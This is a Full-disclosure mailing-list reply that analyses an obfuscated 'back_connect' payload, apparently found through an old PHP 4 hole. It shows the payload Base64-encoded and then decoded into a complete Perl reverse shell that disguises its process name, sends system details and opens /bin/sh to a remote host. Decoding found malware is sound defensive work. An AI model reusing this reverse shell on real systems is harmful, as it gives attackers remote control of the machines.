Re: [Full-disclosure] connect back PHP hack

[mathewm@xxxxxxxxxxxxxxxx]

sr. wrote:
> can anyone tell me what encoding this is?
>
> 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
> 
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
> 
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
> 
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
> 
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
> 
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
> OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
>
> this has to do with old php 4.x.x version with magic quotes enabled.
> i'm just trying to figure out what the connect back code does.
>
> any input is much appreciated.
>
> thx,
>
> sr.
>
>

Base64. It decodes as:

#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

HTH


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